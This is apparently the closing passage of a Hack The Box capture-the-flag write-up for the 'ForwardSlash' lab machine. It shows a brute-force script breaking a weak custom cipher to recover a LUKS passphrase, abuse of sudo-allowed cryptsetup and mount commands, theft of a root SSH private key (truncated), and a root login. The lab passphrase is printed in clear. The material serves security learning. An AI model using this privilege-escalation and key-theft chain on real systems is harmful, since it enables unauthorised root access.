Analyzing the code, it seems to be a simple algorithm that adds to the original char, two different value, taking the char from the key and the revert char from the same message. The cycle is repeated for each char of the key for each char of the message. Is not so particular, but the algorithm is adding the same value probably for the all chars, from a mathematical point of view.

In addition, to ensure that the result is anyway a char it adjusts the value bringing on the range 0-255. Well, it's more complex to explain that to do, let me change the code of encryption in order to show how it works. This is the output, char by char:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ python encrypter_test.py 
work( 0): {t} + {k} + {e}
work( 1): {h} + {k} + {e}
work( 2): {i} + {k} + {e}
work( 3): {s} + {k} + {e}
work( 4): { } + {k} + {e}
work( 5): {i} + {k} + {e}
work( 6): {s} + {k} + {e}
work( 7): { } + {k} + {e}
work( 8): {m} + {k} + {e}
work( 9): {y} + {k} + {e}
work(10): { } + {k} + {e}
work(11): {m} + {k} + {e}
work(12): {e} + {k} + {e}
work(13): {s} + {k} + {e}
work(14): {s} + {k} + {e}
work(15): {a} + {k} + {e}
work(16): {g} + {k} + {e}
work(17): {e} + {k} + {e}
partial step k result: ['D', '\x17', '\xeb', '\xc9', 'T', '(', '\x06', '\x91', 'i', 'M', '\xd8', '\xb0', '\x80', '^', '<', '\x08', '\xda', '\xaa']
work( 0): {D} + {e} + {�}
work( 1): {} + {e} + {�}
work( 2): {�} + {e} + {�}
work( 3): {�} + {e} + {�}
work( 4): {T} + {e} + {�}
work( 5): {(} + {e} + {�}
work( 6): {} + {e} + {�}
work( 7): {�} + {e} + {�}
work( 8): {i} + {e} + {�}
work( 9): {M} + {e} + {�}
work(10): {�} + {e} + {�}
work(11): {�} + {e} + {�}
work(12): {�} + {e} + {�}
work(13): {^} + {e} + {�}
work(14): {<} + {e} + {�}
work(15): } + {e} + {�}
work(16): {�} + {e} + {�}
work(17): {�} + {e} + {�}
partial step e result: ['S', '\xcf', '\x1f', 'M', '\x06', '\x93', '\xfe', '\xf4', '\xc2', 't', '\xb1', '\xc6', '\xab', 'n', '\x0f', '|', '\xbb', '\xca']
work( 0): {S} + {y} + {�}
work( 1): {�} + {y} + {�}
work( 2): {} + {y} + {�}
work( 3): {M} + {y} + {�}
work( 4): {} + {y} + {�}
work( 5): {�} + {y} + {�}
work( 6): {�} + {y} + {�}
work( 7): {�} + {y} + {�}
work( 8): {�} + {y} + {�}
work( 9): {t} + {y} + {�}
work(10): {�} + {y} + {�}
work(11): {�} + {y} + {�}
work(12): {�} + {y} + {�}
work(13): {n} + {y} + {�}
work(14): {} + {y} + {�}
work(15): {|} + {y} + {�}
work(16): {�} + {y} + {�}
work(17): {�} + {y} + {�}
partial step y result: ['\x96', '\xde', 'v', '<', '\xbb', '\xc7', '>', '\xab', '\xe6', '\xd3', '\xfd', '<', '`', 'G', '\xcf', '\xc4', '\xf8', ';']
��v<��>����<`G���;


I think it could be clearer if I write the numeric format of the char:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ python encrypter_test.py 
work( 0): {116} + {107} + {101}
work( 1): {104} + {107} + {101}
work( 2): {105} + {107} + {101}
work( 3): {115} + {107} + {101}
work( 4): {32} + {107} + {101}
work( 5): {105} + {107} + {101}
work( 6): {115} + {107} + {101}
work( 7): {32} + {107} + {101}
work( 8): {109} + {107} + {101}
work( 9): {121} + {107} + {101}
work(10): {32} + {107} + {101}
work(11): {109} + {107} + {101}
work(12): {101} + {107} + {101}
work(13): {115} + {107} + {101}
work(14): {115} + {107} + {101}
work(15): {97} + {107} + {101}
work(16): {103} + {107} + {101}
work(17): {101} + {107} + {101}
partial step k result: ['D', '\x17', '\xeb', '\xc9', 'T', '(', '\x06', '\x91', 'i', 'M', '\xd8', '\xb0', '\x80', '^', '<', '\x08', '\xda', '\xaa']
work( 0): {68} + {101} + {170}
work( 1): {23} + {101} + {170}
work( 2): {235} + {101} + {170}
work( 3): {201} + {101} + {170}
work( 4): {84} + {101} + {170}
work( 5): {40} + {101} + {170}
work( 6): {6} + {101} + {170}
work( 7): {145} + {101} + {170}
work( 8): {105} + {101} + {170}
work( 9): {77} + {101} + {170}
work(10): {216} + {101} + {170}
work(11): {176} + {101} + {170}
work(12): {128} + {101} + {170}
work(13): {94} + {101} + {170}
work(14): {60} + {101} + {170}
work(15): {8} + {101} + {170}
work(16): {218} + {101} + {170}
work(17): {170} + {101} + {170}
partial step e result: ['S', '\xcf', '\x1f', 'M', '\x06', '\x93', '\xfe', '\xf4', '\xc2', 't', '\xb1', '\xc6', '\xab', 'n', '\x0f', '|', '\xbb', '\xca']
work( 0): {83} + {121} + {202}
work( 1): {207} + {121} + {202}
work( 2): {31} + {121} + {202}
work( 3): {77} + {121} + {202}
work( 4): {6} + {121} + {202}
work( 5): {147} + {121} + {202}
work( 6): {254} + {121} + {202}
work( 7): {244} + {121} + {202}
work( 8): {194} + {121} + {202}
work( 9): {116} + {121} + {202}
work(10): {177} + {121} + {202}
work(11): {198} + {121} + {202}
work(12): {171} + {121} + {202}
work(13): {110} + {121} + {202}
work(14): {15} + {121} + {202}
work(15): {124} + {121} + {202}
work(16): {187} + {121} + {202}
work(17): {202} + {121} + {202}
partial step y result: ['\x96', '\xde', 'v', '<', '\xbb', '\xc7', '>', '\xab', '\xe6', '\xd3', '\xfd', '<', '`', 'G', '\xcf', '\xc4', '\xf8', ';']
��v<��>����<`G���;


As you can see, in the end, the added value to the initial character is always the same, therefore, the algorithm can be reduced and simplified as a single cycle with a specific character for all characters, as a sort of key of the same length with characters all equal.

To prove if what I understood is correct, I encrypted a simple message with the word "key", and then I used a reverse algorithm to identify the possible keyword via a small brute-forcing. The result was that a "kkk" key worked equally well (not all the characters have been restored, but the result may be acceptable, we hope that any anomalous characters will not show up inside the password). Here the algorithm to revert the crypted message generated by this call "encrypt('key', 'this is my message')":

ciphert = open('msg_to_decrypt', 'r').read().rstrip()
for j in range(32, 126):
    key = chr(j) * 3
    msg = decrypt(key, ciphert)
    if ' is ' in msg :
        exit("The key is " + key + " and final msg is " + msg)


in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ python encrypter_hack.py 
The key is kkk and the final msg is tp[s is my message


I consider a charset the involve the readable characters from the "space" (32) to the "~" (126) including the special characters. For my specific case, I could consider a set of three char (k, e and y), but I will apply this to the real encrypted message and I have to consider that I don't know the chars used for the passphrase, I can assume that is in that range I chose.

In my case, I know also the number of my passphrase, so I can create immediate a string of three chars. For the real message, I have to understand how much is long the passphrase used from Pain, but the only thing I can assume is that probably is less than the message, anyway, I start with a max of twenty chars and increase if I have no result until the max of the message. Anyway, let me say that I'm lucky. Here the code modified for the Pain's message:

ciphert = open('ciphertext', 'r').read().rstrip()
for i in range(1, 20):
    for j in range(33, 127):
        key = chr(j) * i
        msg = decrypt(key, ciphert)
        if ' is ' in msg :
            exit("final msg is " + msg)


I leave the " is " string as check for the result message, but if I hadn't received a result I would try with different words like articles, short keywords and something I assumed was in the message. Anyway, here the result.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ python encrypter_hack.py 
final msg is Hl��vF��;�������&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf


That special characters on the passphrase, could be negative, but, let that will be the final test to provide the success or the fail.

pain@forwardslash:/tmp/not-this$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img /dev/mapper/backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img: 
Device /dev/mapper/backup already exists.


Gooooood, the passphrase seems to be correct, but someone has already open the backup, so we have to proceed in order to show the files into the backup mounting the device.

pain@forwardslash:/tmp/not-this$ mkdir luksbck
pain@forwardslash:/tmp/not-this$ mount /dev/mapper/backup ./luksbck/
mount: only root can do that
pain@forwardslash:/tmp/not-this$ sudo mount /dev/mapper/backup ./luksbck/
[sudo] password for pain: 
Sorry, user pain is not allowed to execute '/bin/mount /dev/mapper/backup ./luksbck/' as root on forwardslash.
pain@forwardslash:/tmp/not-this$ sudo -l
Matching Defaults entries for pain on forwardslash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pain may run the following commands on forwardslash:
    (root) NOPASSWD: /sbin/cryptsetup luksOpen *
    (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
    (root) NOPASSWD: /bin/umount ./mnt/
pain@forwardslash:/tmp/not-this$ ls -l
total 4
drwxrwxr-x 2 pain pain 4096 May  3 11:16 luksbck
pain@forwardslash:/tmp/not-this$ mkdir mnt
pain@forwardslash:/tmp/not-this$ /bin/mount /dev/mapper/backup ./mnt/
mount: only root can do that
pain@forwardslash:/tmp/not-this$ sudo /bin/mount /dev/mapper/backup ./mnt/
pain@forwardslash:/tmp/not-this$ ls -l
total 4
drwxrwxr-x 2 pain pain 4096 May  3 11:16 luksbck
drwxr-xr-x 2 root root   20 Mar 17 20:07 mnt
pain@forwardslash:/tmp/not-this$ cd mnt/
pain@forwardslash:/tmp/not-this/mnt$ ls -l
total 4
-rw-r--r-- 1 root root 1675 May 27  2019 id_rsa


I reported also my mistakes, I forgot what I can and I can't do, but finally, I reach the files from the backup, finding a nice private key, that I suppose to know who it belongs to. Download it on the local machine.

scp [email protected]:/tmp/not-this/mnt/id_rsa ./

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ cat id_rsa 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
[...]
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----


And try to connect as root.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ chmod 400 id_rsa
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.183 - ForwardSlash/attack$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun May  3 11:26:16 UTC 2020

  System load:  0.16               Processes:            212
  Usage of /:   31.7% of 19.56GB   Users logged in:      2
  Memory usage: 20%                IP address for ens33: 10.10.10.183
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

16 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun May  3 09:57:36 2020 from 10.10.15.119
root@forwardslash:~#



root@forwardslash:~# ls -l
total 4
-rw------- 1 root root 33 May  3 07:33 root.txt
root@forwardslash:~# cat root.txt
d******************************a


Wooo... really complex box for me, but, we got it cracked!

Well, that's all, thanks for reading and see you next time.

This awesome image used in this article is called Ice Cream Truck and it was created by Pako.